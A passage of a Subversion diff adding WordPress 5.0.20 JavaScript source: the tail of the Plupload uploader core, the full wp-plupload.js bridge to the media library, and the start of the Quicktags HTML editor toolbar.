+				// plupload.File - final step for other branches
+				else if (file instanceof plupload.File) {
+					if (fileName) {
+						file.name = fileName;
+					}
+					
+					queue.push(function(cb) {
+						// run through the internal and user-defined filters, if any
+						filterFile(file, function(err) {
+							if (!err) {
+								// make files available for the filters by updating the main queue directly
+								files.push(file);
+								// collect the files that will be passed to FilesAdded event
+								filesAdded.push(file); 
+
+								self.trigger("FileFiltered", file);
+							}
+							delay(cb, 1); // do not build up recursions or eventually we might hit the limits
+						});
+					});
+				} 
+				// native File or blob
+				else if (o.inArray(type, ['file', 'blob']) !== -1) {
+					resolveFile(new o.File(null, file));
+				} 
+				// input[type="file"]
+				else if (type === 'node' && o.typeOf(file.files) === 'filelist') {
+					// if we are dealing with input[type="file"]
+					o.each(file.files, resolveFile);
+				} 
+				// mixed array of any supported types (see above)
+				else if (type === 'array') {
+					fileName = null; // should never happen, but unset anyway to avoid funny situations
+					o.each(file, resolveFile);
+				}
+			}
+
+			ruid = getRUID();
+			
+			resolveFile(file);
+
+			if (queue.length) {
+				o.inSeries(queue, function() {
+					// if any files left after filtration, trigger FilesAdded
+					if (filesAdded.length) {
+						self.trigger("FilesAdded", filesAdded);
+					}
+				});
+			}
+		},
+
+		/**
+		 * Removes a specific file.
+		 *
+		 * @method removeFile
+		 * @param {plupload.File|String} file File to remove from queue.
+		 */
+		removeFile : function(file) {
+			var id = typeof(file) === 'string' ? file : file.id;
+
+			for (var i = files.length - 1; i >= 0; i--) {
+				if (files[i].id === id) {
+					return this.splice(i, 1)[0];
+				}
+			}
+		},
+
+		/**
+		 * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events.
+		 *
+		 * @method splice
+		 * @param {Number} start (Optional) Start index to remove from.
+		 * @param {Number} length (Optional) Lengh of items to remove.
+		 * @return {Array} Array of files that was removed.
+		 */
+		splice : function(start, length) {
+			// Splice and trigger events
+			var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length);
+
+			// if upload is in progress we need to stop it and restart after files are removed
+			var restartRequired = false;
+			if (this.state == plupload.STARTED) { // upload in progress
+				plupload.each(removed, function(file) {
+					if (file.status === plupload.UPLOADING) {
+						restartRequired = true; // do not restart, unless file that is being removed is uploading
+						return false;
+					}
+				});
+				
+				if (restartRequired) {
+					this.stop();
+				}
+			}
+
+			this.trigger("FilesRemoved", removed);
+
+			// Dispose any resources allocated by those files
+			plupload.each(removed, function(file) {
+				file.destroy();
+			});
+			
+			if (restartRequired) {
+				this.start();
+			}
+
+			return removed;
+		},
+
+		/**
+		Dispatches the specified event name and its arguments to all listeners.
+
+		@method trigger
+		@param {String} name Event name to fire.
+		@param {Object..} Multiple arguments to pass along to the listener functions.
+		*/
+
+		// override the parent method to match Plupload-like event logic
+		dispatchEvent: function(type) {
+			var list, args, result;
+						
+			type = type.toLowerCase();
+							
+			list = this.hasEventListener(type);
+
+			if (list) {
+				// sort event list by priority
+				list.sort(function(a, b) { return b.priority - a.priority; });
+				
+				// first argument should be current plupload.Uploader instance
+				args = [].slice.call(arguments);
+				args.shift();
+				args.unshift(this);
+
+				for (var i = 0; i < list.length; i++) {
+					// Fire event, break chain if false is returned
+					if (list[i].fn.apply(list[i].scope, args) === false) {
+						return false;
+					}
+				}
+			}
+			return true;
+		},
+
+		/**
+		Check whether uploader has any listeners to the specified event.
+
+		@method hasEventListener
+		@param {String} name Event name to check for.
+		*/
+
+
+		/**
+		Adds an event listener by name.
+
+		@method bind
+		@param {String} name Event name to listen for.
+		@param {function} fn Function to call ones the event gets fired.
+		@param {Object} [scope] Optional scope to execute the specified function in.
+		@param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
+		*/
+		bind: function(name, fn, scope, priority) {
+			// adapt moxie EventTarget style to Plupload-like
+			plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope);
+		},
+
+		/**
+		Removes the specified event listener.
+
+		@method unbind
+		@param {String} name Name of event to remove.
+		@param {function} fn Function to remove from listener.
+		*/
+
+		/**
+		Removes all event listeners.
+
+		@method unbindAll
+		*/
+
+
+		/**
+		 * Destroys Plupload instance and cleans after itself.
+		 *
+		 * @method destroy
+		 */
+		destroy : function() {
+			this.trigger('Destroy');
+			settings = total = null; // purge these exclusively
+			this.unbindAll();
+		}
+	});
+};
+
+plupload.Uploader.prototype = o.EventTarget.instance;
+
+/**
+ * Constructs a new file instance.
+ *
+ * @class File
+ * @constructor
+ * 
+ * @param {Object} file Object containing file properties
+ * @param {String} file.name Name of the file.
+ * @param {Number} file.size File size.
+ */
+plupload.File = (function() {
+	var filepool = {};
+
+	function PluploadFile(file) {
+
+		plupload.extend(this, {
+
+			/**
+			 * File id this is a globally unique id for the specific file.
+			 *
+			 * @property id
+			 * @type String
+			 */
+			id: plupload.guid(),
+
+			/**
+			 * File name for example "myfile.gif".
+			 *
+			 * @property name
+			 * @type String
+			 */
+			name: file.name || file.fileName,
+
+			/**
+			 * File type, `e.g image/jpeg`
+			 *
+			 * @property type
+			 * @type String
+			 */
+			type: file.type || '',
+
+			/**
+			 * File size in bytes (may change after client-side manupilation).
+			 *
+			 * @property size
+			 * @type Number
+			 */
+			size: file.size || file.fileSize,
+
+			/**
+			 * Original file size in bytes.
+			 *
+			 * @property origSize
+			 * @type Number
+			 */
+			origSize: file.size || file.fileSize,
+
+			/**
+			 * Number of bytes uploaded of the files total size.
+			 *
+			 * @property loaded
+			 * @type Number
+			 */
+			loaded: 0,
+
+			/**
+			 * Number of percentage uploaded of the file.
+			 *
+			 * @property percent
+			 * @type Number
+			 */
+			percent: 0,
+
+			/**
+			 * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE.
+			 *
+			 * @property status
+			 * @type Number
+			 * @see plupload
+			 */
+			status: plupload.QUEUED,
+
+			/**
+			 * Date of last modification.
+			 *
+			 * @property lastModifiedDate
+			 * @type {String}
+			 */
+			lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
+
+			/**
+			 * Returns native window.File object, when it's available.
+			 *
+			 * @method getNative
+			 * @return {window.File} or null, if plupload.File is of different origin
+			 */
+			getNative: function() {
+				var file = this.getSource().getSource();
+				return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null;
+			},
+
+			/**
+			 * Returns mOxie.File - unified wrapper object that can be used across runtimes.
+			 *
+			 * @method getSource
+			 * @return {mOxie.File} or null
+			 */
+			getSource: function() {
+				if (!filepool[this.id]) {
+					return null;
+				}
+				return filepool[this.id];
+			},
+
+			/**
+			 * Destroys plupload.File object.
+			 *
+			 * @method destroy
+			 */
+			destroy: function() {
+				var src = this.getSource();
+				if (src) {
+					src.destroy();
+					delete filepool[this.id];
+				}
+			}
+		});
+
+		filepool[this.id] = file;
+	}
+
+	return PluploadFile;
+}());
+
+
+/**
+ * Constructs a queue progress.
+ *
+ * @class QueueProgress
+ * @constructor
+ */
+ plupload.QueueProgress = function() {
+	var self = this; // Setup alias for self to reduce code size when it's compressed
+
+	/**
+	 * Total queue file size.
+	 *
+	 * @property size
+	 * @type Number
+	 */
+	self.size = 0;
+
+	/**
+	 * Total bytes uploaded.
+	 *
+	 * @property loaded
+	 * @type Number
+	 */
+	self.loaded = 0;
+
+	/**
+	 * Number of files uploaded.
+	 *
+	 * @property uploaded
+	 * @type Number
+	 */
+	self.uploaded = 0;
+
+	/**
+	 * Number of files failed to upload.
+	 *
+	 * @property failed
+	 * @type Number
+	 */
+	self.failed = 0;
+
+	/**
+	 * Number of files yet to be uploaded.
+	 *
+	 * @property queued
+	 * @type Number
+	 */
+	self.queued = 0;
+
+	/**
+	 * Total percent of the uploaded bytes.
+	 *
+	 * @property percent
+	 * @type Number
+	 */
+	self.percent = 0;
+
+	/**
+	 * Bytes uploaded per second.
+	 *
+	 * @property bytesPerSec
+	 * @type Number
+	 */
+	self.bytesPerSec = 0;
+
+	/**
+	 * Resets the progress to its initial values.
+	 *
+	 * @method reset
+	 */
+	self.reset = function() {
+		self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0;
+	};
+};
+
+window.plupload = plupload;
+
+}(window, mOxie));
Index: /tags/5.0.20/src/wp-includes/js/plupload/wp-plupload.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/plupload/wp-plupload.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/plupload/wp-plupload.js	(revision 56912)
@@ -0,0 +1,425 @@
+/* global pluploadL10n, plupload, _wpPluploadSettings */
+
+window.wp = window.wp || {};
+
+( function( exports, $ ) {
+	var Uploader;
+
+	if ( typeof _wpPluploadSettings === 'undefined' ) {
+		return;
+	}
+
+	/**
+	 * A WordPress uploader.
+	 *
+	 * The Plupload library provides cross-browser uploader UI integration.
+	 * This object bridges the Plupload API to integrate uploads into the
+	 * WordPress back end and the WordPress media experience.
+	 *
+	 * @param {object} options           The options passed to the new plupload instance.
+	 * @param {object} options.container The id of uploader container.
+	 * @param {object} options.browser   The id of button to trigger the file select.
+	 * @param {object} options.dropzone  The id of file drop target.
+	 * @param {object} options.plupload  An object of parameters to pass to the plupload instance.
+	 * @param {object} options.params    An object of parameters to pass to $_POST when uploading the file.
+	 *                                   Extends this.plupload.multipart_params under the hood.
+	 */
+	Uploader = function( options ) {
+		var self = this,
+			isIE = navigator.userAgent.indexOf('Trident/') != -1 || navigator.userAgent.indexOf('MSIE ') != -1,
+			elements = {
+				container: 'container',
+				browser:   'browse_button',
+				dropzone:  'drop_element'
+			},
+			key, error;
+
+		this.supports = {
+			upload: Uploader.browser.supported
+		};
+
+		this.supported = this.supports.upload;
+
+		if ( ! this.supported ) {
+			return;
+		}
+
+		// Arguments to send to pluplad.Uploader().
+		// Use deep extend to ensure that multipart_params and other objects are cloned.
+		this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
+		this.container = document.body; // Set default container.
+
+		// Extend the instance with options.
+		//
+		// Use deep extend to allow options.plupload to override individual
+		// default plupload keys.
+		$.extend( true, this, options );
+
+		// Proxy all methods so this always refers to the current instance.
+		for ( key in this ) {
+			if ( $.isFunction( this[ key ] ) ) {
+				this[ key ] = $.proxy( this[ key ], this );
+			}
+		}
+
+		// Ensure all elements are jQuery elements and have id attributes,
+		// then set the proper plupload arguments to the ids.
+		for ( key in elements ) {
+			if ( ! this[ key ] ) {
+				continue;
+			}
+
+			this[ key ] = $( this[ key ] ).first();
+
+			if ( ! this[ key ].length ) {
+				delete this[ key ];
+				continue;
+			}
+
+			if ( ! this[ key ].prop('id') ) {
+				this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
+			}
+
+			this.plupload[ elements[ key ] ] = this[ key ].prop('id');
+		}
+
+		// If the uploader has neither a browse button nor a dropzone, bail.
+		if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
+			return;
+		}
+
+		// Make sure flash sends cookies (seems in IE it does without switching to urlstream mode)
+		if ( ! isIE && 'flash' === plupload.predictRuntime( this.plupload ) &&
+			( ! this.plupload.required_features || ! this.plupload.required_features.hasOwnProperty( 'send_binary_string' ) ) ) {
+
+			this.plupload.required_features = this.plupload.required_features || {};
+			this.plupload.required_features.send_binary_string = true;
+		}
+
+		// Initialize the plupload instance.
+		this.uploader = new plupload.Uploader( this.plupload );
+		delete this.plupload;
+
+		// Set default params and remove this.params alias.
+		this.param( this.params || {} );
+		delete this.params;
+
+		/**
+		 * Custom error callback.
+		 *
+		 * Add a new error to the errors collection, so other modules can track
+		 * and display errors. @see wp.Uploader.errors.
+		 *
+		 * @param  {string}        message
+		 * @param  {object}        data
+		 * @param  {plupload.File} file     File that was uploaded.
+		 */
+		error = function( message, data, file ) {
+			if ( file.attachment ) {
+				file.attachment.destroy();
+			}
+
+			Uploader.errors.unshift({
+				message: message || pluploadL10n.default_error,
+				data:    data,
+				file:    file
+			});
+
+			self.error( message, data, file );
+		};
+
+		/**
+		 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 */
+		this.uploader.bind( 'init', function( uploader ) {
+			var timer, active, dragdrop,
+				dropzone = self.dropzone;
+
+			dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;
+
+			// Generate drag/drop helper classes.
+			if ( ! dropzone ) {
+				return;
+			}
+
+			dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );
+
+			if ( ! dragdrop ) {
+				return dropzone.unbind('.wp-uploader');
+			}
+
+			// 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
+			dropzone.bind( 'dragover.wp-uploader', function() {
+				if ( timer ) {
+					clearTimeout( timer );
+				}
+
+				if ( active ) {
+					return;
+				}
+
+				dropzone.trigger('dropzone:enter').addClass('drag-over');
+				active = true;
+			});
+
+			dropzone.bind('dragleave.wp-uploader, drop.wp-uploader', function() {
+				// Using an instant timer prevents the drag-over class from
+				// being quickly removed and re-added when elements inside the
+				// dropzone are repositioned.
+				//
+				// @see https://core.trac.wordpress.org/ticket/21705
+				timer = setTimeout( function() {
+					active = false;
+					dropzone.trigger('dropzone:leave').removeClass('drag-over');
+				}, 0 );
+			});
+
+			self.ready = true;
+			$(self).trigger( 'uploader:ready' );
+		});
+
+		this.uploader.bind( 'postinit', function( up ) {
+			up.refresh();
+			self.init();
+		});
+
+		this.uploader.init();
+
+		if ( this.browser ) {
+			this.browser.on( 'mouseenter', this.refresh );
+		} else {
+			this.uploader.disableBrowse( true );
+			// If HTML5 mode, hide the auto-created file container.
+			$('#' + this.uploader.id + '_html5_container').hide();
+		}
+
+		/**
+		 * After files were filtered and added to the queue, create a model for each.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 * @param {Array}             files    Array of file objects that were added to queue by the user.
+		 */
+		this.uploader.bind( 'FilesAdded', function( up, files ) {
+			_.each( files, function( file ) {
+				var attributes, image;
+
+				// Ignore failed uploads.
+				if ( plupload.FAILED === file.status ) {
+					return;
+				}
+
+				// Generate attributes for a new `Attachment` model.
+				attributes = _.extend({
+					file:      file,
+					uploading: true,
+					date:      new Date(),
+					filename:  file.name,
+					menuOrder: 0,
+					uploadedTo: wp.media.model.settings.post.id
+				}, _.pick( file, 'loaded', 'size', 'percent' ) );
+
+				// Handle early mime type scanning for images.
+				image = /(?:jpe?g|png|gif)$/i.exec( file.name );
+
+				// For images set the model's type and subtype attributes.
+				if ( image ) {
+					attributes.type = 'image';
+
+					// `jpeg`, `png` and `gif` are valid subtypes.
+					// `jpg` is not, so map it to `jpeg`.
+					attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
+				}
+
+				// Create a model for the attachment, and add it to the Upload queue collection
+				// so listeners to the upload queue can track and display upload progress.
+				file.attachment = wp.media.model.Attachment.create( attributes );
+				Uploader.queue.add( file.attachment );
+
+				self.added( file.attachment );
+			});
+
+			up.refresh();
+			up.start();
+		});
+
+		this.uploader.bind( 'UploadProgress', function( up, file ) {
+			file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
+			self.progress( file.attachment );
+		});
+
+		/**
+		 * After a file is successfully uploaded, update its model.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 * @param {plupload.File}     file     File that was uploaded.
+		 * @param {Object}            response Object with response properties.
+		 * @return {mixed}
+		 */
+		this.uploader.bind( 'FileUploaded', function( up, file, response ) {
+			var complete;
+
+			try {
+				response = JSON.parse( response.response );
+			} catch ( e ) {
+				return error( pluploadL10n.default_error, e, file );
+			}
+
+			if ( ! _.isObject( response ) || _.isUndefined( response.success ) )
+				return error( pluploadL10n.default_error, null, file );
+			else if ( ! response.success )
+				return error( response.data && response.data.message, response.data, file );
+
+			_.each(['file','loaded','size','percent'], function( key ) {
+				file.attachment.unset( key );
+			});
+
+			file.attachment.set( _.extend( response.data, { uploading: false }) );
+			wp.media.model.Attachment.get( response.data.id, file.attachment );
+
+			complete = Uploader.queue.all( function( attachment ) {
+				return ! attachment.get('uploading');
+			});
+
+			if ( complete )
+				Uploader.queue.reset();
+
+			self.success( file.attachment );
+		});
+
+		/**
+		 * When plupload surfaces an error, send it to the error handler.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 * @param {Object}            error    Contains code, message and sometimes file and other details.
+		 */
+		this.uploader.bind( 'Error', function( up, pluploadError ) {
+			var message = pluploadL10n.default_error,
+				key;
+
+			// Check for plupload errors.
+			for ( key in Uploader.errorMap ) {
+				if ( pluploadError.code === plupload[ key ] ) {
+					message = Uploader.errorMap[ key ];
+
+					if ( _.isFunction( message ) ) {
+						message = message( pluploadError.file, pluploadError );
+					}
+
+					break;
+				}
+			}
+
+			error( message, pluploadError, pluploadError.file );
+			up.refresh();
+		});
+
+	};
+
+	// Adds the 'defaults' and 'browser' properties.
+	$.extend( Uploader, _wpPluploadSettings );
+
+	Uploader.uuid = 0;
+
+	// Map Plupload error codes to user friendly error messages.
+	Uploader.errorMap = {
+		'FAILED':                 pluploadL10n.upload_failed,
+		'FILE_EXTENSION_ERROR':   pluploadL10n.invalid_filetype,
+		'IMAGE_FORMAT_ERROR':     pluploadL10n.not_an_image,
+		'IMAGE_MEMORY_ERROR':     pluploadL10n.image_memory_exceeded,
+		'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
+		'GENERIC_ERROR':          pluploadL10n.upload_failed,
+		'IO_ERROR':               pluploadL10n.io_error,
+		'HTTP_ERROR':             pluploadL10n.http_error,
+		'SECURITY_ERROR':         pluploadL10n.security_error,
+
+		'FILE_SIZE_ERROR': function( file ) {
+			return pluploadL10n.file_exceeds_size_limit.replace('%s', file.name);
+		}
+	};
+
+	$.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{
+		/**
+		 * Acts as a shortcut to extending the uploader's multipart_params object.
+		 *
+		 * param( key )
+		 *    Returns the value of the key.
+		 *
+		 * param( key, value )
+		 *    Sets the value of a key.
+		 *
+		 * param( map )
+		 *    Sets values for a map of data.
+		 */
+		param: function( key, value ) {
+			if ( arguments.length === 1 && typeof key === 'string' ) {
+				return this.uploader.settings.multipart_params[ key ];
+			}
+
+			if ( arguments.length > 1 ) {
+				this.uploader.settings.multipart_params[ key ] = value;
+			} else {
+				$.extend( this.uploader.settings.multipart_params, key );
+			}
+		},
+
+		/**
+		 * Make a few internal event callbacks available on the wp.Uploader object
+		 * to change the Uploader internals if absolutely necessary.
+		 */
+		init:     function() {},
+		error:    function() {},
+		success:  function() {},
+		added:    function() {},
+		progress: function() {},
+		complete: function() {},
+		refresh:  function() {
+			var node, attached, container, id;
+
+			if ( this.browser ) {
+				node = this.browser[0];
+
+				// Check if the browser node is in the DOM.
+				while ( node ) {
+					if ( node === document.body ) {
+						attached = true;
+						break;
+					}
+					node = node.parentNode;
+				}
+
+				// If the browser node is not attached to the DOM, use a
+				// temporary container to house it, as the browser button
+				// shims require the button to exist in the DOM at all times.
+				if ( ! attached ) {
+					id = 'wp-uploader-browser-' + this.uploader.id;
+
+					container = $( '#' + id );
+					if ( ! container.length ) {
+						container = $('<div class="wp-uploader-browser" />').css({
+							position: 'fixed',
+							top: '-1000px',
+							left: '-1000px',
+							height: 0,
+							width: 0
+						}).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
+					}
+
+					container.append( this.browser );
+				}
+			}
+
+			this.uploader.refresh();
+		}
+	});
+
+	// Create a collection of attachments in the upload queue,
+	// so that other modules can track and display upload progress.
+	Uploader.queue = new wp.media.model.Attachments( [], { query: false });
+
+	// Create a collection to collect errors incurred while attempting upload.
+	Uploader.errors = new Backbone.Collection();
+
+	exports.Uploader = Uploader;
+})( wp, jQuery );
Index: /tags/5.0.20/src/wp-includes/js/quicktags.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/quicktags.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/quicktags.js	(revision 56912)
@@ -0,0 +1,747 @@
+/* global adminpage, wpActiveEditor, quicktagsL10n, wpLink, prompt */
+/*
+ * Quicktags
+ *
+ * This is the HTML editor in WordPress. It can be attached to any textarea and will
+ * append a toolbar above it. This script is self-contained (does not require external libraries).
+ *
+ * Run quicktags(settings) to initialize it, where settings is an object containing up to 3 properties:
+ * settings = {
+ *   id : 'my_id',          the HTML ID of the textarea, required
+ *   buttons: ''            Comma separated list of the names of the default buttons to show. Optional.
+ *                          Current list of default button names: 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';
+ * }
+ *
+ * The settings can also be a string quicktags_id.
+ *
+ * quicktags_id string The ID of the textarea that will be the editor canvas
+ * buttons string Comma separated list of the default buttons names that will be shown in that instance.
+ */
+
+// new edit toolbar used with permission
+// by Alex King
+// http://www.alexking.org/
+
+var QTags, edCanvas,
+	edButtons = [];
+
+/* jshint ignore:start */
+
+/**
+ * Back-compat
+ *
+ * Define all former global functions so plugins that hack quicktags.js directly don't cause fatal errors.
+ */
+var edAddTag = function(){},
+edCheckOpenTags = function(){},
+edCloseAllTags = function(){},
+edInsertImage = function(){},
+edInsertLink = function(){},
+edInsertTag = function(){},
+edLink = function(){},
+edQuickLink = function(){},
+edRemoveTag = function(){},
+edShowButton = function(){},
+edShowLinks = function(){},
+edSpell = function(){},
+edToolbar = function(){};
+
+/**
+ * Initialize new instance of the Quicktags editor
+ */
+function quicktags(settings) {
+	return new QTags(settings);
+}
+
+/**
+ * Inserts content at the caret in the active editor (textarea)
+ *
+ * Added for back compatibility
+ * @see QTags.insertContent()
+ */
+function edInsertContent(bah, txt) {
+	return QTags.insertContent(txt);
+}
+
+/**
+ * Adds a button to all instances of the editor
+ *
+ * Added for back compatibility, use QTags.addButton() as it gives more flexibility like type of button, button placement, etc.
+ * @see QTags.addButton()
+ */
+function edButton(id, display, tagStart, tagEnd, access) {
+	return QTags.addButton( id, display, tagStart, tagEnd, access, '', -1 );
+}
+
+/* jshint ignore:end */
+
+(function(){
+	// private stuff is prefixed with an underscore
+	var _domReady = function(func) {
+		var t, i, DOMContentLoaded, _tryReady;
+
+		if ( typeof jQuery !== 'undefined' ) {
+			jQuery(document).ready(func);
+		} else {
+			t = _domReady;
+			t.funcs = [];
+
+			t.ready = function() {
+				if ( ! t.isReady ) {
+					t.isReady = true;
+					for ( i = 0; i < t.funcs.length; i++ ) {
+						t.funcs[i]();
+					}
+				}
+			};
+
+			if ( t.isReady ) {
+				func();
+			} else {
+				t.funcs.push(func);
+			}
+
+			if ( ! t.eventAttached ) {
+				if ( document.addEventListener ) {
+					DOMContentLoaded = function(){document.removeEventListener('DOMContentLoaded', DOMContentLoaded, false);t.ready();};
+					document.addEventListener('DOMContentLoaded', DOMContentLoaded, false);
+					window.addEventListener('load', t.ready, false);
+				} else if ( document.attachEvent ) {
+					DOMContentLoaded = function(){if (document.readyState === 'complete'){ document.detachEvent('onreadystatechange', DOMContentLoaded);t.ready();}};
+					document.attachEvent('onreadystatechange', DOMContentLoaded);
+					window.attachEvent('onload', t.ready);
+
+					_tryReady = function() {
+						try {
+							document.documentElement.doScroll('left');
+						} catch(e) {
+							setTimeout(_tryReady, 50);
+							return;
+						}
+
+						t.ready();
+					};
+					_tryReady();
+				}
+
+				t.eventAttached = true;
+			}
+		}
+	},
+
+	_datetime = (function() {
+		var now = new Date(), zeroise;
+
+		zeroise = function(number) {
+			var str = number.toString();
+
+			if ( str.length < 2 ) {
+				str = '0' + str;
+			}
+
+			return str;
+		};
+
+		return now.getUTCFullYear() + '-' +
+			zeroise( now.getUTCMonth() + 1 ) + '-' +
+			zeroise( now.getUTCDate() ) + 'T' +
+			zeroise( now.getUTCHours() ) + ':' +
+			zeroise( now.getUTCMinutes() ) + ':' +
+			zeroise( now.getUTCSeconds() ) +
+			'+00:00';
+	})(),
+	qt;
+
+	qt = QTags = function(settings) {
+		if ( typeof(settings) === 'string' ) {
+			settings = {id: settings};
+		} else if ( typeof(settings) !== 'object' ) {
+			return false;
+		}
+
+		var t = this,
+			id = settings.id,
+			canvas = document.getElementById(id),
+			name = 'qt_' + id,
+			tb, onclick, toolbar_id, wrap, setActiveEditor;
+
+		if ( !id || !canvas ) {
+			return false;
+		}
+
+		t.name = name;
+		t.id = id;
+		t.canvas = canvas;
+		t.settings = settings;
+
+		if ( id === 'content' && typeof(adminpage) === 'string' && ( adminpage === 'post-new-php' || adminpage === 'post-php' ) ) {
+			// back compat hack :-(
+			edCanvas = canvas;
+			toolbar_id = 'ed_toolbar';
+		} else {
+			toolbar_id = name + '_toolbar';
+		}
+
+		tb = document.getElementById( toolbar_id );
+
+		if ( ! tb ) {
+			tb = document.createElement('div');
+			tb.id = toolbar_id;
+			tb.className = 'quicktags-toolbar';
+		}
+
+		canvas.parentNode.insertBefore(tb, canvas);
+		t.toolbar = tb;
+
+		// listen for click events
+		onclick = function(e) {
+			e = e || window.event;
+			var target = e.target || e.srcElement, visible = target.clientWidth || target.offsetWidth, i;
+
+			// don't call the callback on pressing the accesskey when the button is not visible
+			if ( !visible ) {
+				return;
+			}
+
+			// as long as it has the class ed_button, execute the callback
+			if ( / ed_button /.test(' ' + target.className + ' ') ) {
+				// we have to reassign canvas here
+				t.canvas = canvas = document.getElementById(id);
+				i = target.id.replace(name + '_', '');
+
+				if ( t.theButtons[i] ) {
+					t.theButtons[i].callback.call(t.theButtons[i], target, canvas, t);
+				}
+			}
+		};
+
+		setActiveEditor = function() {
+			window.wpActiveEditor = id;
+		};
+
+		wrap = document.getElementById( 'wp-' + id + '-wrap' );
+
+		if ( tb.addEventListener ) {
+			tb.addEventListener( 'click', onclick, false );
+
+			if ( wrap ) {
+				wrap.addEventListener( 'click', setActiveEditor, false );
+			}
+		} else if ( tb.attachEvent ) {
+			tb.attachEvent( 'onclick', onclick );
+
+			if ( wrap ) {
+				wrap.attachEvent( 'onclick', setActiveEditor );
+			}
+		}
+
+		t.getButton = function(id) {
+			return t.theButtons[id];
+		};
+
+		t.getButtonElement = function(id) {
+			return document.getElementById(name + '_' + id);
+		};
+
+		t.init = function() {
+			_domReady( function(){ qt._buttonsInit( id ); } );
+		};
+
+		t.remove = function() {
+			delete qt.instances[id];
+
+			if ( tb && tb.parentNode ) {
+				tb.parentNode.removeChild( tb );
+			}
+		};
+
+		qt.instances[id] = t;
+		t.init();
+	};
+
+	function _escape( text ) {
+		text = text || '';
+		text = text.replace( /&([^#])(?![a-z1-4]{1,8};)/gi, '&#038;$1' );
+		return text.replace( /</g, '&lt;' ).replace( />/g, '&gt;' ).replace( /"/g, '&quot;' ).replace( /'/g, '&#039;' );
+	}
+
+	qt.instances = {};
+
+	qt.getInstance = function(id) {
+		return qt.instances[id];
+	};
+
+	qt._buttonsInit = function( id ) {
+		var t = this;
+
+		function _init( instanceId ) {
+			var canvas, name, settings, theButtons, html, ed, id, i, use,
+				defaults = ',strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,';
+
+			ed = t.instances[instanceId];
+			canvas = ed.canvas;
+			name = ed.name;
+			settings = ed.settings;
+			html = '';
+			theButtons = {};
+			use = '';
+
+			// set buttons
+			if ( settings.buttons ) {
+				use = ','+settings.buttons+',';
+			}
+
+			for ( i in edButtons ) {
+				if ( ! edButtons[i] ) {
+					continue;
+				}
+
+				id = edButtons[i].id;
+				if ( use && defaults.indexOf( ',' + id + ',' ) !== -1 && use.indexOf( ',' + id + ',' ) === -1 ) {
+					continue;
+				}
+
+				if ( ! edButtons[i].instance || edButtons[i].instance === instanceId ) {
+					theButtons[id] = edButtons[i];
+
+					if ( edButtons[i].html ) {
+						html += edButtons[i].html( name + '_' );
+					}
+				}
+			}
+
+			if ( use && use.indexOf(',dfw,') !== -1 ) {
+				theButtons.dfw = new qt.DFWButton();
+				html += theButtons.dfw.html( name + '_' );
+			}
+
+			if ( 'rtl' === document.getElementsByTagName( 'html' )[0].dir ) {
+				theButtons.textdirection = new qt.TextDirectionButton();
+				html += theButtons.textdirection.html( name + '_' );
+			}
+
+			ed.toolbar.innerHTML = html;
+			ed.theButtons = theButtons;
+
+			if ( typeof jQuery !== 'undefined' ) {
+				jQuery( document ).triggerHandler( 'quicktags-init', [ ed ] );
+			}
+		}
+
+		if ( id ) {
+			_init( id );
+		} else {
+			for ( id in t.instances ) {
+				_init( id );
+			}
+		}
+
+		t.buttonsInitDone = true;
+	};
+
+	/**
+	 * Main API function for adding a button to Quicktags
+	 *
+	 * Adds qt.Button or qt.TagButton depending on the args. The first three args are always required.
+	 * To be able to add button(s) to Quicktags, your script should be enqueued as dependent
+	 * on "quicktags" and outputted in the footer. If you are echoing JS directly from PHP,
+	 * use add_action( 'admin_print_footer_scripts', 'output_my_js', 100 ) or add_action( 'wp_footer', 'output_my_js', 100 )
+	 *
+	 * Minimum required to add a button that calls an external function:
+	 *     QTags.addButton( 'my_id', 'my button', my_callback );
+	 *     function my_callback() { alert('yeah!'); }
+	 *
+	 * Minimum required to add a button that inserts a tag:
+	 *     QTags.addButton( 'my_id', 'my button', '<span>', '</span>' );
+	 *     QTags.addButton( 'my_id2', 'my button', '<br />' );
+	 *
+	 * @param string id Required. Button HTML ID
+	 * @param string display Required. Button's value="..."
+	 * @param string|function arg1 Required. Either a starting tag to be inserted like "<span>" or a callback that is executed when the button is clicked.
+	 * @param string arg2 Optional. Ending tag like "</span>"
+	 * @param string access_key Deprecated Not used
+	 * @param string title Optional. Button's title="..."
+	 * @param int priority Optional. Number representing the desired position of the button in the toolbar. 1 - 9 = first, 11 - 19 = second, 21 - 29 = third, etc.
+	 * @param string instance Optional. Limit the button to a specific instance of Quicktags, add to all instances if not present.
+	 * @param attr object Optional. Used to pass additional attributes. Currently supports `ariaLabel` and `ariaLabelClose` (for "close tag" state)
+	 * @return mixed null or the button object that is needed for back-compat.
+	 */
